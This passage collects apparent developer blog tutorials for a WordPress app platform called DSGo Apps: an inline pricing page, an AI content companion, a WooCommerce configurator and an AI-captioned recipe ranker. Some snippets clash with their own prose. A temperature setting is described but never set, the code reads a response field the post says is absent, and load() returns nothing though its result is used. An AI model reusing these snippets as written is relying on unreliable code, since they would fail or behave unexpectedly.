      "img_src": ["self", "data:"],
      "connect_src": ["self"]
    }
  }
}
```

The pieces that matter:

- `isolation: "inline"`. The bundle is server-rendered into the page response. View source at the URL: real HTML. Crawlers index it. Social previews unfurl. The OpenGraph tags work.

- `routes`. One route, served at `/`. The route’s `title` and `description` become the rendered page’s `<title>` and meta description. Crawlable and shareable.

- `theme.wrap: "none"`. The pricing page is its own visual world; the theme’s header and footer would clutter it. For most inline pages, you’d leave `wrap` defaulted (`auto`, which inherits the theme); pricing-page-specific design tends to want full control.

- `permissions.read: []`. The example bundle as published is fully static, with no bridge calls. The next section adds dynamic plan loading via the bridge, which requires `permissions.read: ["posts"]`.

- The custom CSP. Inline mode supports per-app CSP overrides. The example is locked to `self`-only sources because it has no third-party scripts; if you brought in an external font from Google Fonts, you’d add the origin to `style_src`. Don’t loosen the CSP unless you need to; the strictest workable policy is the right starting point.

#### The static version

Out of the box, the example is a hand-coded HTML pricing page with the plan rows hardcoded. That’s fine for the smallest case. View source confirms the page is real HTML; Google indexes it; the theme wrap is whatever you set it to.

```
<section class="plans">
  <article class="plan">
    <h2>Personal</h2>
    <div class="price">$99<span>/site/year</span></div>
    <ul class="features">
      <li>Up to 5 apps per site</li>
      <li>Iframe and inline modes</li>
      <li>HTML upload importer</li>
    </ul>
    <a class="cta" href="/checkout/personal/">Choose Personal</a>
  </article>
  <!-- Plus and Agency similarly -->
</section>
```

When the marketing team wants to tweak a number, they hand you a comment, you change the file, you redeploy. Fine for a small startup. Painful at any scale. Painful, in particular, the third time it happens in one week.

#### The dynamic version

Replace the hardcoded plan rows with a custom post type. In your theme or a small companion plugin, register `pricing-plan` with custom meta fields for price, features, and CTA URL:

```
add_action('init', function () {
  register_post_type('pricing-plan', [
    'public'        => false,
    'show_ui'       => true,
    'show_in_rest'  => true,
    'rest_base'     => 'pricing-plan',
    'menu_icon'     => 'dashicons-money',
    'supports'      => ['title', 'editor', 'page-attributes'],
    'labels'        => ['name' => 'Pricing plans', 'singular_name' => 'Pricing plan'],
  ]);

  register_post_meta('pricing-plan', 'price', [
    'type'         => 'number',
    'single'       => true,
    'show_in_rest' => true,
  ]);
  register_post_meta('pricing-plan', 'features', [
    'type'         => 'array',
    'single'       => true,
    'show_in_rest' => [
      'schema' => [
        'type'  => 'array',
        'items' => ['type' => 'string'],
      ],
    ],
  ]);
  register_post_meta('pricing-plan', 'cta_url', [
    'type'         => 'string',
    'single'       => true,
    'show_in_rest' => true,
  ]);
});
```

`show_in_rest: true` is the magic line; without it, the bridge can’t see the post type or its meta fields. `show_ui: true` means the editor sees a “Pricing plans” menu in wp-admin and can edit them through the normal editor UI.

A subtle bit worth knowing: the DSGo bridge’s `dsgo.posts.list` returns the bridge-flattened post shape — `id`, `slug`, `title` (plain string), `excerpt`, `content`, `date`, `link`, etc. — but it does **not** return CPT meta in v1. To pull the `price`, `features`, and `cta_url` meta fields into the app, you have a few options:

- **Add a small companion plugin** that registers a custom REST route (e.g., `GET /wp-json/your-agency/v1/pricing-plans`) returning the plans with their meta included, and call that with `runtime.external_origins` set to your own site origin and a fetch in the bundle. Most “I need this CPT meta” cases end up here.

- **Ship the plans as a JSON file inside the bundle** (`data/plans.json`) and update the bundle when prices change. Simpler; doesn’t need extra PHP. Fine if marketing redeploys the bundle when they edit prices.

- **Wait for v1.x to expose meta in the bridge** — it’s a likely additive change, but not in v1 today.

The trade isn’t dramatic. For a pricing page that changes a few times a year, the JSON-file path is cleanest. For an editor who needs to change plans without redeploying, the companion-plugin path is the path to invest in.

Then update the manifest to add the bridge permission (only needed if you fetch via the bridge; not needed for the JSON-file path which is just static asset reading):

```
"permissions": { "read": ["posts"], "write": [] }
```

For the JSON-file path, your `index.html` reads the bundled data:

```
<section id="plans" class="plans"></section>

<script type="module">
  const res = await fetch(import.meta.env.BASE_URL + 'data/plans.json');
  const plans = await res.json();
  const section = document.getElementById('plans');

  for (const plan of plans) {
    const article = document.createElement('article');
    article.className = 'plan';
    article.innerHTML = `
      <h2>${plan.title}</h2>
      <div class="price">${plan.price}<span>/site/year</span></div>
      <ul class="features">${plan.features.map((f) => `<li>${f}</li>`).join('')}</ul>
      <a class="cta" href="${plan.cta_url}">Choose ${plan.title}</a>
    `;
    section.appendChild(article);
  }
</script>
```

(For data you control end-to-end, `innerHTML` with template literals is fine. If you ever pulled plan names from user-submitted content, you’d want `textContent` to avoid HTML interpretation. The trust model is your call.)

#### Server-side rendering: where the substitution engine stops

The substitution engine that powers `:slug`-style dynamic routes is built for one-entry-per-URL pages (a post detail, a product page), not for list-rendering. There’s no `{{#each}}` loop syntax in v1 — the engine only does single-token replacement (`{{title.rendered}}`, `{{{content.rendered}}}`) into a template keyed by the matched route param. See [Dynamic routes deep dive](https://designsetgo.dev/blog/dynamic-routes-deep-dive/) for the full mechanics.

For a pricing-page index, that means the bridge-call approach above is the v1 path: render the static page-level signals (`<title>`, `<meta>`, headline) directly in the HTML, then fill in the plans client-side via `dsgo.posts.list`. Most crawlers (Google’s main bot in particular) execute the JavaScript and index the result, so SEO still works.

If you needed every plan row in the pre-JS HTML for a non-JS-executing crawler, the v1 answer is to either generate the rows at build time (a simple Astro `getStaticPaths` pulling from the WP REST API into a `<ul>` literal) or to write a custom dataset resolver that returns a single composite entry containing the rendered HTML of all plans, then substitute that via `{{{plans_html}}}` in your template. Both work; the first is simpler for a small site, the second scales without redeploying.

#### Why this is the right shape

A small comparison table for a pricing page:

ApproachEditor can change copyIndexableTheme wrapDeploys per changeHardcoded React on VercelNoYes (with hydration)NoOne per changeWP page with shortcodesYes-ishYesYesZeroWP page with a page builderYesYesYesZero, but the markup becomes unreadable**DSGo App, inline, WP-backed**Yes (via CPT)YesOptionalZero for copy, one for layout

The structural advantage: the editor edits a CPT in wp-admin (a familiar WordPress surface), the developer edits the HTML/JS template (a familiar developer surface), and neither one steps on the other’s work. Marketing changes a price; the page updates. The developer changes the layout; the price stays. Neither change touches the other’s territory.

#### Deploy

```
git clone https://github.com/DesignSetGo/dsgo-apps.git
cd dsgo-apps/examples/pricing-page
npx designsetgo apps deploy --build
```

Visit `https://yoursite.com/apps/pricing/`. Real HTML, real `<title>`, real meta tags, all the OpenGraph signals a marketing team would care about. Run a Lighthouse pass; you should see good scores across the board because there’s no client-side framework rehydration, just direct HTML.

#### Where to go next

- The [iframe-vs-inline post](https://designsetgo.dev/blog/iframe-vs-inline-picking-the-right-isolation-mode/) for when to pick which.

- The [dynamic routes post](https://designsetgo.dev/blog/dynamic-routes-deep-dive/) for the full dataset-injection mechanics.

- The [Astro on WordPress post](https://designsetgo.dev/blog/astro-on-wordpress/) for the larger version of this pattern (whole-site root mount, multi-page Astro app).

- The next post in this calendar covers dropping a Claude Artifact onto your site, which is the casual import path most non-developers will reach for first.

### Build an AI content companion that writes posts in your site’s voice

URL: https://designsetgo.dev/blog/build-an-ai-content-companion/
Published: 2026-05-04 · Nealey

The recipe ranker post was the smallest possible AI bridge tutorial: one round-trip per render, captioning a list of recipes with the model. This one extends the surface in two directions that matter.

The first: admin-mode rendering. The app lives inside wp-admin, in the block editor’s sidebar, instead of on a public URL. That means the app has access to the contextual `postId` of whatever’s being edited, and can render its UI alongside the editor without taking over the screen.

The second: ability publishing. The app exposes a function the site’s AI agent can call directly. The agent doesn’t need to know the app exists; it discovers `content-companion/suggest-improvements` in the abilities registry and invokes it like any other ability. The companion’s user-facing panel and the agent’s tool call hit the same code path.

This post walks through examples/ai-content-companion. The example is shipped as a “preview” version: if the host site doesn’t yet have WP 7.0 surfaces, the bundle degrades to mock notes so you can see what the UI looks like before configuring a Connector.

#### The manifest

```
{
  "manifest_version": 1,
  "id": "content-companion",
  "name": "AI content companion",
  "description": "Editor-side companion that reads the current post and suggests clarity and SEO improvements.",
  "version": "0.1.0",
  "entry": "index.html",
  "isolation": "iframe",
  "display": { "modes": ["admin"], "default": "admin" },
  "permissions": { "read": ["posts", "abilities", "ai"], "write": [] },
  "abilities": {
    "consumes": ["yoast/analyze-page-seo"],
    "publishes": [
      {
        "name": "content-companion/suggest-improvements",
        "label": "Suggest content improvements",
        "description": "Given post text, return a short list of clarity and SEO suggestions.",
        "category": "content",
        "input_schema": {
          "type": "object",
          "properties": {
            "post_id": { "type": "integer" },
            "content": { "type": "string" }
          },
          "required": ["content"]
        },
        "output_schema": {
          "type": "object",
          "properties": {
            "notes": {
              "type": "array",
              "items": {
                "type": "object",
                "properties": {
                  "type":       { "type": "string" },
                  "severity":   { "type": "string" },
                  "title":      { "type": "string" },
                  "detail":     { "type": "string" },
                  "suggestion": { "type": "string" }
                }
              }
            }
          }
        },
        "annotations": { "readonly": true, "destructive": false, "idempotent": true }
      }
    ]
  },
  "ai": { "max_tool_calls": 5, "timeout_seconds": 60 },
  "runtime": { "sandbox": "strict", "external_origins": [] }
}
```

A lot of fields, but each one earns its place:

- `display.modes: ["admin"]`. The app renders inside wp-admin, not on a public URL. The block-editor sidebar gets a “Content companion” panel; the iframe loads when the editor expands it. (If you also wanted a `/apps/content-companion/` URL, you’d add `"page"` to the modes list. Most companions don’t need this.)

- `permissions.read` includes `abilities`. The companion calls `yoast/analyze-page-seo` if Yoast is installed. If Yoast isn’t installed, the call returns a “no provider” error and the companion falls back to its own AI prompt. Both paths are demonstrated below.

- `abilities.publishes` lists the companion’s own ability. Once the app installs, the site’s AI agent (running in wp-admin via `@wordpress/abilities`) can discover and invoke `content-companion/suggest-improvements` directly. This is the publish-side surface that makes the companion something the site can compose with, not just a tool the editor opens.

- `ai.max_tool_calls: 5`. The companion may call the model multiple times per editor session (one for the initial read, one per re-prompt as the editor types, etc.). The cap keeps a runaway prompt from chaining indefinitely.

#### Reading the post

In admin mode, the bridge context exposes the editor state, including the post being edited:

```
const dsgo = window.dsgo;

async function fetchCurrentPost() {
  if (!dsgo?.posts?.get) return null;

  const ctx = dsgo.context || {};
  const pid = ctx.editor?.postId ?? ctx.postId;
  if (!pid) return null;

  try {
    return await dsgo.posts.get(Number(pid));
  } catch {
    return null;
  }
}
```

Two contextual paths because the bridge’s editor context is still settling: `dsgo.context.editor.postId` is the canonical location, with `dsgo.context.postId` as a fallback. Both will resolve to the same value for the foreseeable future; the defensive accessor is just to insulate against the canonical name moving.

The bridge respects edit capabilities. If the user has `edit_posts`, they can read drafts and revisions. If not, they can only read published content. Your code doesn’t need to check; the bridge is doing it.

#### Calling Yoast for SEO

If Yoast SEO is installed, its `yoast/analyze-page-seo` ability returns a structured analysis. The companion’s manifest declares it consumes that ability, so the install dialog explicitly mentions Yoast as a dependency:

```
async function fetchSeoFromYoast(post) {
  if (!dsgo?.abilities?.list || !dsgo?.abilities?.invoke) return null;

  try {
    const list = await dsgo.abilities.list();
    const has = (list || []).some((a) => a?.name === 'yoast/analyze-page-seo');
    if (!has) return null;

    const result = await dsgo.abilities.invoke('yoast/analyze-page-seo', {
      post_id: post.id,
    });

    if (!result || !Array.isArray(result.notes)) return null;
    return { notes: result.notes, source: 'Yoast SEO ability' };
  } catch {
    return null;
  }
}
```

Two patterns worth pointing at:

- **`abilities.list()` first, `invoke()` second.** The list gives you a way to feature-detect without triggering a “this ability does not exist” error. For an ability that may or may not be present (Yoast is optional from the companion’s perspective), check first.

- **Return `null` on failure, not throw.** The companion has a fallback path. Throwing forces the caller into a try/catch when a clean nullable is what they actually want. Bridge methods reject; your wrapper functions can still return null when null means “tried, didn’t work, move on.”

#### The AI fallback

If Yoast isn’t there, ask the model directly:

```
async function fetchFromAi(post) {
  if (!dsgo?.ai?.prompt) return null;

  const prompt = [
    'You are a copy editor. Read the draft below and return up to five short notes.',
    'Each note must be JSON in the shape {type, severity, title, detail, suggestion}.',
    'Allowed types: clarity, voice, seo, title, headers, flow, cta.',
    'Allowed severity: info, warn.',
    'Reply with a JSON array only.',
    '',
    'Draft title: ' + (post.title || ''),
    'Draft body: ' + stripTags(post.content || '').slice(0, 4000),
  ].join('\n');

  try {
    const resp = await dsgo.ai.prompt({
      messages: [{ role: 'user', content: prompt }],
    });

    const text = resp?.text ?? resp?.content ?? '';
    const first = text.indexOf('[');
    const last = text.lastIndexOf(']');
    if (first === -1 || last === -1) return null;

    const json = JSON.parse(text.slice(first, last + 1));
    if (!Array.isArray(json)) return null;

    return { notes: json, source: 'WP AI Connector' };
  } catch {
    return null;
  }
}
```

A few patterns worth pointing at:

- **The `[` and `]` slicing.** Models occasionally return JSON wrapped in commentary (“Here’s the array: […]. Let me know if…”). Slicing on the first `[` and the last `]` extracts the array reliably. A schema-mode response (`response_format: { type: 'json_object' }`) would skip this, but not every Connector supports schema-mode yet.

- **A 4000-character cap on draft body.** Long posts blow the model’s context window or your tool-call budget. 4000 characters is roughly 1000 tokens, well within any provider’s limit. For longer posts, you’d chunk and run multiple passes.

- **Strip HTML before passing to the model.** `stripTags` collapses runs of whitespace too. The model doesn’t read HTML usefully; passing raw block markup wastes tokens and confuses the analysis.

#### Publishing the ability

The publish-side is what makes this app interesting. The same logic the editor sees in the panel is also exposed as a callable function:

```
dsgo.abilities.implement(
  'content-companion/suggest-improvements',
  async ({ content, post_id }) => {
    // If we have a post_id and Yoast is available, use it.
    let yoast = null;
    if (post_id) {
      const post = await dsgo.posts.get(Number(post_id)).catch(() => null);
      if (post) yoast = await fetchSeoFromYoast(post);
    }
    if (yoast) return { notes: yoast.notes };

    // Fall back to AI.
    const fakePost = { id: post_id, title: '', content };
    const ai = await fetchFromAi(fakePost);
    return { notes: ai?.notes ?? [] };
  }
);
```

Once the app installs, the site’s AI agent can discover the ability and invoke it. The editor doesn’t have to open the companion panel; the agent calls into it from wherever it’s running. A user typing in the wp-admin AI chat sidebar can ask “improve this draft” and the agent will reach for `content-companion/suggest-improvements` automatically.

The publisher mounts a hidden iframe of the companion on demand to handle the call. The user never sees the iframe; the call returns structured data, and the agent uses it.

#### Why this app is structurally different

The earlier tutorial apps (contact, member portal, recipe ranker, shop) are *destinations*. They have URLs. A user navigates to them.

The content companion is something the agent can use as a *verb*. It still has an admin-mode panel for the editor, but the more interesting surface is the published ability. Two months from now, a different plugin’s agent integration could call `content-companion/suggest-improvements` without knowing or caring that it’s implemented by an iframe app written in five hundred lines of JS.

That’s the inversion the [Apps as Abilities post](https://designsetgo.dev/blog/apps-as-abilities/) talks about. This tutorial is the smallest concrete example of it. The vertical-pack version (ten apps publishing twenty-six abilities) is in the [vertical pack post](https://designsetgo.dev/blog/apps-as-abilities-vertical-pack/).

#### Constraints worth knowing

- **Browser-context only.** Published abilities run inside the hidden iframe, which means they only resolve when there’s a browser session active. Server-side callers (WP-CLI, cron, PHP-context invocations) get a structured `client_only_ability` error pointing them at the browser-side surface. v2 may change this; v1 doesn’t.

- **Eight publishes per app, max.** The companion ships one. Most apps that publish abilities ship one or two; the cap is there to prevent a “we published thirty abilities” spam pattern.

- **Iframe-mode only.** Inline mode runs too entangled with the page to host an isolated handler. The companion is iframe; it can’t be inline.

- **The preview/mock fallback is a deliberate pattern.** When an example bundle relies on a feature that may not be configured (a Connector, a specific other plugin), shipping with a mock fallback keeps the bundle demonstrable. Real bundles you ship to a customer site can drop the mock; for examples that ship in the repo, keeping the fallback means the example “works” out of the box even on a vanilla install.

#### Deploy

```
git clone https://github.com/DesignSetGo/dsgo-apps.git
cd dsgo-apps/examples/ai-content-companion
npx designsetgo apps deploy --build
```

Open any post in the block editor. Look for “Content companion” in the sidebar. The first time, expand it; the iframe loads, fetches the post, asks the Connector (or Yoast, if installed), renders suggestions. From then on, the site’s AI agent (in the wp-admin chat sidebar) also has access to the same logic by name.

#### Where to go next

- The [Apps as Abilities post](https://designsetgo.dev/blog/apps-as-abilities/) for the architectural rationale behind publish-side abilities.

- The [bridge API reference](https://designsetgo.dev/docs/bridge-api) for the full `abilities.implement` and `ai.prompt` surfaces.

- The next post: a pricing page that uses inline mode for SEO and theme integration.

### Build a WooCommerce product configurator

URL: https://designsetgo.dev/blog/build-a-woocommerce-product-configurator/
Published: 2026-05-04 · Nealey

WooCommerce is the most-customized plugin in the WordPress ecosystem and also the most-frustratingly-customized one. Anything beyond the default product page reaches for a third-party Woo extension ($79 here, $129 there, “Pro version unlocks variations” everywhere), a hand-written shortcode that breaks on Woo updates, or a developer with a folder full of `template-overrides`. Each of those has a maintenance load that compounds.

DSGo Apps gives you a third option: write the configurator as an iframe app, ask the bridge for the product data you need (with full variation support), and use the cart and checkout-handoff bridges to send the visitor through Woo’s own checkout. The Woo extension space charges $99-299 per plugin per year for things you can build in an afternoon once you have the bridge.

This post walks through examples/shop, which demonstrates a product grid, detail page with variation pickers, cart, and hosted-checkout handoff.

#### The bridge surface

`dsgo.commerce.*` is the v1.x commerce surface. It calls Abilities first (so anything Woo registers as an ability is available without further config) and falls back to Woo’s Store API for surfaces that aren’t yet ability-shaped. The v1 namespace covers:

- `dsgo.commerce.products.list(query?)` and `.get(id)` (variations are listed via `products.list({ type: 'variation', parent: <id> })`).

- `dsgo.commerce.cart.get()`, `.addItem(item)`, `.updateItem(item)`, `.removeItem(itemKey)`.

- `dsgo.commerce.checkout.openHostedPage()` returns the visitor’s hosted-checkout URL with the cart pre-loaded.

Permissions for the shop example:

```
"permissions": { "read": ["abilities", "user", "commerce"], "write": [] },
"abilities": {
  "consumes": [
    "woocommerce/list-products",
    "woocommerce/get-product",
    "woocommerce/get-cart",
    "woocommerce/cart-add-item",
    "woocommerce/cart-update-item",
    "woocommerce/cart-remove-item"
  ]
},
"commerce": {
  "providers": ["woocommerce"],
  "endpoints": ["products", "cart", "checkout"]
}
```

Two manifest blocks beyond `permissions.read`:

- `abilities.consumes`. The list of Woo abilities the app expects to be available. The install dialog lists them. If a Woo update removes one, the install fails preflight; the app never ends up in a half-broken state at runtime.

- `commerce.endpoints`. The bucket detector activates the “Commerce” install bucket whenever this is non-empty. The dialog lists which surfaces (products, cart, checkout) the app reaches; the site owner sees the truth, not a generic “this app uses commerce” line. (Why this matters in detail is in [the permission buckets post](https://designsetgo.dev/blog/permission-buckets-the-install-dialog-that-doesnt-lie/).)

The dialog rendered for this manifest shows three buckets: Read content, AI (no), Commerce. The AI bucket isn’t activated because the app doesn’t request `permissions.read: ["ai"]`; configurators usually don’t need it.

#### The configurator UX

The grid view comes from `products.list`:

```
const dsgo = window.dsgo;

const result = await dsgo.commerce.products.list({
  category: 'desks',
  per_page: 50,
});

renderGrid(result.items ?? result);
```

For each product card, you read the Store API price shape and render with `Intl.NumberFormat`:

```
function formatPrice(price) {
  if (!price || !price.amount) return '';
  const minor = Number(price.minor_unit ?? 2);
  const major = Number(price.amount) / Math.pow(10, minor);
  return new Intl.NumberFormat(undefined, {
    style: 'currency',
    currency: price.currency || 'USD',
    minimumFractionDigits: minor,
    maximumFractionDigits: minor,
  }).format(major);
}
```

The Store API (and therefore the bridge) returns prices in minor units as strings: `{ amount: "9999", currency: "USD", minor_unit: 2 }` is `$99.99`. Divide by `10^minor_unit` once you’ve parsed to a number, then format. Don’t reach for parseFloat directly; minor-unit currencies (JPY at 0, KWD at 3) will quietly produce nonsense.

For variable products, the configurator’s interesting bit is the variation picker. Each variation axis is a `<select>`, the visitor’s selections are tracked in state, and `matchedVariation()` walks the parent’s variation list to find the exact product matching the current selection:

```
const result = await dsgo.commerce.products.list({
  type: 'variation',
  parent: parentProduct.id,
  per_page: 100,
});
const variations = result.items ?? result;

function matchedVariation() {
  return variations.find((v) =>
    v.attributes.every(
      (a) => state.variationSelection[a.name] === a.value
    )
  );
}
```

A few things worth knowing about variations:

- **The Store API uses attribute term slugs as values for taxonomy attributes** (where slug differs from name), and the literal name for custom attributes (where they’re the same). Store the slug in your selection state for taxonomy attrs; render the name as the option label. The example bundle handles this distinction in `availableTerms()`.

- **Out-of-stock variations are still in the list.** Each variation has `is_in_stock` and `is_purchasable` flags. Disable the Add-to-cart button when either is false; show a “selected combination is out of stock” hint when the visitor lands on one.

- **Price ranges collapse to exact prices once a variation is matched.** The parent product’s price is `{ min, max }`; once the visitor picks a full combination, the matched variation has a single `price.amount` you display instead. Update the price display reactively as selections change.

#### Adding to cart

When the visitor commits, the bridge call is one method:

```
async function addToCart(productId, variation, quantity = 1) {
  const cart = await dsgo.commerce.cart.addItem({
    id: productId,                  // parent ID, even for variable products
    quantity,
    variation,                       // [{attribute, value}, ...] or undefined for simple
  });
  state.cart = cart;
  render();
}
```

For variable products, you always pass the parent product’s `id` and supply the chosen attribute combination via `variation`, not the variation child’s id. Simple products skip the `variation` field entirely.

The cart returned by `addItem` (and by `cart.get`, `cart.updateItem`, `cart.removeItem`) is the full cart state. Update your local state with whatever the bridge returned; don’t try to mutate locally and reconcile later. The cart your app sees is the cart Woo has, which is the cart the visitor sees if they open `/cart/` in another tab.

To update or remove a line, you key by the cart line’s `key` field (returned by `cart.get` on each item), not by product id — a cart can hold the same product twice with different variations:

```
await dsgo.commerce.cart.updateItem({ key: lineKey, quantity: 3 });
await dsgo.commerce.cart.removeItem({ key: lineKey });
```

#### Handing off to checkout

Don’t reimplement checkout. Don’t try to. Even the largest “headless commerce” companies don’t actually reimplement checkout for Woo; they hand off to Woo’s checkout page once the visitor commits. The bridge does this directly:

```
await dsgo.commerce.checkout.openHostedPage();
```

That single call triggers a top-window navigation to the Woo checkout page, with the cart preserved. In iframe mode the bridge handles the top-navigation through a `dsgo:nav-top` message to the parent (the iframe sandbox blocks the iframe from navigating the top window directly). In inline mode the call navigates the current window. The returned `{ url, navigated }` is informational; you don’t have to manually navigate.

Payment, fraud screening, taxes, shipping, order confirmation, post-purchase emails: all Woo. None of it your problem.

#### Why this is the right boundary

A short table of what each layer should own:

ConcernWho owns itProduct catalogWooProduct variations and pricingWooCart stateWooCheckout, payment, fraud, taxesWooVisual configurator UXYour DSGo AppCustom validation rules (“this color isn’t available in this size in this region”)Your DSGo AppSave-this-config-for-laterYour DSGo App with `dsgo.storage.user.*`

Trying to take more than the right column above puts you in the position of reimplementing checkout, which is a months-long engagement that Woo updates regularly invalidate. Stay in the configurator layer; let Woo do what it does well.

#### What this replaces

This is the value proposition for a freelancer or agency:

- **Custom product configurator plugins** ($79-299/year). You write the configurator yourself in HTML and JS; you don’t pay for one.

- **Headless storefronts on Vercel** (Vercel cost + headless WP cost + glue layer). Your storefront is a DSGo App. Same domain, no glue, no CORS, no separate auth.

- **Custom theme template overrides** (developer time forever, breaks on theme updates). The app lives outside the theme. Theme updates don’t break it.

The cost saved per project is real. The cost saved over a year of running multiple Woo sites for clients is significant; for an agency, this is the single tool that most cleanly turns “Woo is hard to customize” from a recurring engagement-blocker into a configurator-shipped-yesterday.

#### What’s not in v1

A few things the commerce bridge doesn’t ship in v1, and what you do instead:

- **Order management.** The app cannot read order history or modify orders. If the visitor needs to see their orders, link them to Woo’s `/my-account/orders/` page. The site already renders that page well.

- **Customer creation outside checkout.** Woo creates the customer at checkout, and that’s the right time. Your app doesn’t need to do this.

- **Payment method capture.** Woo handles this. Don’t reimplement it inside the iframe; you’d be redoing PCI scope.

- **Product creation/editing.** Your configurator doesn’t author products. The merchant does, in wp-admin. Your app reads.

- **Direct discount code entry from inside the configurator.** v1 doesn’t expose a coupon-apply method. Visitors enter coupons at checkout, on the Woo page. (Future versions may add this.)

#### Deploy

```
git clone https://github.com/DesignSetGo/dsgo-apps.git
cd dsgo-apps/examples/shop
npx designsetgo apps deploy --build
```

The store is at `https://yoursite.com/apps/shop/`. Plug it into your nav, drop a link from the homepage, link to it from a category page; the bundle is a static, fast, theme-isolated front-end for products that already exist in Woo.

#### Where to go next

- The [bridge API reference](https://designsetgo.dev/docs/bridge-api) for the full `commerce.*` surface and error codes.

- The [permission buckets post](https://designsetgo.dev/blog/permission-buckets-the-install-dialog-that-doesnt-lie/) for what the Commerce bucket looks like in the install dialog.

- The next post: an AI content companion that publishes abilities the site’s agent can call.

### Build a recipe ranker that uses the AI bridge

URL: https://designsetgo.dev/blog/build-a-recipe-ranker/
Published: 2026-05-03 · Nealey

The recipe ranker is the smallest possible app that exercises the AI bridge end-to-end. The base example (examples/recipe-ranker) is a block-embed widget that lists recipes (a custom post type) and ranks them by visitor view count, persisted via app-scoped storage. This post extends it with one extra feature: an AI-generated “why this is trending” caption under each recipe, asked of the site’s configured Connector with the recipes’ titles and excerpts as context.

Two reasons this is a good first AI tutorial:

- The base ranker already works without AI. The bridge surface for AI is additive on top.

- The AI call is bounded (one round-trip per render, capped explicitly in the manifest), so you can see the whole inference budget on the page.

#### What the bridge does for you

`dsgo.ai.prompt` is the read-only AI surface. You hand it a list of messages, optionally a system prompt, optionally a few constraints (max tokens, temperature). The bridge:

- Routes the call through `wp_ai_client_prompt`.

- Inherits the site’s configured Connector (Anthropic, OpenAI, Google, or anything else a Connector ships for).

- Enforces the per-app limits in your manifest (`max_tool_calls`, `timeout_seconds`).

- Returns a structured `{ text, usage, model }` object.

You never touch a key. You never pay for inference. If the site admin changes their Connector on Tuesday, your app keeps working on Wednesday. The architectural rationale is in [WP 7.0 changed what a plugin can be](https://designsetgo.dev/blog/wordpress-7-changed-what-a-plugin-can-be/).

#### The manifest

```
{
  "manifest_version": 1,
  "id": "recipe-ranker",
  "name": "Recipe ranker",
  "description": "Ranks recipes by visitor views and adds an AI-generated trending caption.",
  "version": "0.2.0",
  "entry": "index.html",
  "isolation": "iframe",
  "display": { "modes": ["block"], "default": "block" },
  "permissions": { "read": ["posts", "ai"], "write": [] },
  "ai": { "max_tool_calls": 1, "timeout_seconds": 30 },
  "runtime": { "sandbox": "strict", "external_origins": [] }
}
```

Two notable pieces:

- `display.modes: ["block"]`. This app is intended for embedding inside a Gutenberg block (rather than living at its own URL). The same bundle could run as a `page` mode app at `/apps/recipe-ranker/`; the manifest just declares which mounts are valid.

- `ai.max_tool_calls: 1`. The app calls the model exactly once per render. The cap is an explicit guardrail; if a future version of the app tries to chain calls, the bridge enforces the manifest limit, not whatever the model decides. Setting this to 1 means a runaway prompt cannot rack up bills on the site admin’s Connector.

The install dialog shows two buckets: “Read content” (for posts) and “AI” (with a footer note explaining that calls go through the site’s configured Connector and do not consume any DSGo-side budget).

#### The base ranker (no AI yet)

This is straight out of the example bundle. Listing recipes by visitor view count:

```
const dsgo = window.dsgo;

async function getViews() {
  try {
    const v = await dsgo.storage.app.get('views');
    return (v && typeof v === 'object' && !Array.isArray(v)) ? v : {};
  } catch {
    return {};
  }
}

async function bumpView(id) {
  try {
    const views = await getViews();
    views[id] = (views[id] ?? 0) + 1;
    await dsgo.storage.app.set('views', views);
  } catch {
    /* non-fatal; view count just won't persist this round */
  }
}

async function load() {
  const result = await dsgo.posts.list({
    type: 'recipe',
    orderby: 'date',
    order: 'desc',
    per_page: 10,
  });
  const recipes = result.items ?? result;

  const views = await getViews();

  const ranked = recipes
    .map((p) => ({ ...p, viewCount: Number(views[p.id] ?? 0) }))
    .sort(
      (a, b) =>
        b.viewCount - a.viewCount ||
        new Date(b.date) - new Date(a.date)
    );

  renderList(ranked);
}

load();
```

Two things worth pointing at:

- **`type: 'recipe'`** in the bridge call routes the request to `/wp/v2/recipe`, the demo site’s custom post type. The bridge passes WP REST query parameters through verbatim, so anything WP REST supports works here. Recipe sites tend to register recipes as a CPT to keep them out of the main blog feed; this filter respects that.

- **The defensive `result.items ?? result`** is forwards-compatible: the canonical shape is `{ items, total, total_pages }`, but if you ever hit an older bridge that returns a bare array, the accessor still works. New code can drop the fallback.

Ranking by view count then by date means recipes with the same view count surface the newest one first. Fresh recipes get a chance to climb without being instantly buried by old ones with accumulated views.

#### Adding the AI caption

This is the new piece. For each visible recipe, ask the model for a one-line “why this is trending” caption. The trick is that you want one prompt for the whole batch, not one prompt per recipe; the per-call overhead adds up fast in tokens and latency.

```
async function loadWithCaptions() {
  const ranked = await load(); // returns the array of recipes from above

  const top = ranked.slice(0, 5);
  if (top.length === 0) return;

  const promptBody = top
    .map((r, i) => {
      const title = r.title?.rendered ?? r.title ?? '(untitled)';
      const excerpt = (r.excerpt?.rendered ?? '')
        .replace(/<[^>]+>/g, '')
        .trim();
      return `${i + 1}. ${title}: ${excerpt}`;
    })
    .join('\n');

  let captions = [];
  try {
    const response = await dsgo.ai.prompt({
      messages: [
        {
          role: 'system',
          content:
            'You write very short trending captions for recipes. ' +
            'Return only the captions, one per line, numbered 1 to 5. ' +
            'Each caption is one sentence, max 12 words. No emoji.',
        },
        { role: 'user', content: promptBody },
      ],
      max_tokens: 200,
    });

    captions = response.content
      .split('\n')
      .map((line) => line.replace(/^\d+\.\s*/, '').trim())
      .filter(Boolean);
  } catch (err) {
    if (err.code === 'ai_not_configured') {
      // Site has no Connector. Skip captions, render the rest.
      return;
    }
    // Any other error: log and skip the caption layer.
    console.warn('Caption generation failed:', err);
    return;
  }

  for (let i = 0; i < top.length; i++) {
    const captionEl = document.querySelector(
      `[data-recipe="${top[i].id}"] .caption`
    );
    if (captionEl && captions[i]) captionEl.textContent = captions[i];
  }
}
```

A few things this does deliberately:

- **One round-trip for five recipes.** The system prompt tells the model the format, the user message lists all five, the response splits cleanly. Five separate calls would work but waste a lot of tokens on the system prompt and add 5x the latency.

- **`temperature: 0.4`.** Captions don’t need to be wildly creative; they need to be terse and consistent. Lower temperature gives the model less rope.

- **Strip the `1. ` prefix in post-processing.** The model returns numbered output to make parsing reliable; you strip the numbering before display. Asking the model to skip the numbering tends to produce less reliable formatting.

- **Hard cap at five recipes.** The manifest says `max_tool_calls: 1`. If the recipe list grew to twenty, you’d want to either raise the cap and paginate the captions or accept that only the top five get captioned. The cap is there to make those decisions explicit.

- **Render the rest of the page first.** The `loadWithCaptions` function calls `load()` (which renders the recipe list immediately) before `await dsgo.ai.prompt`. The visitor sees the ranked recipes instantly; the captions fill in once inference returns. If the AI call takes 8 seconds because the Connector is slow, the recipes are still readable for those 8 seconds.

#### What you didn’t have to do

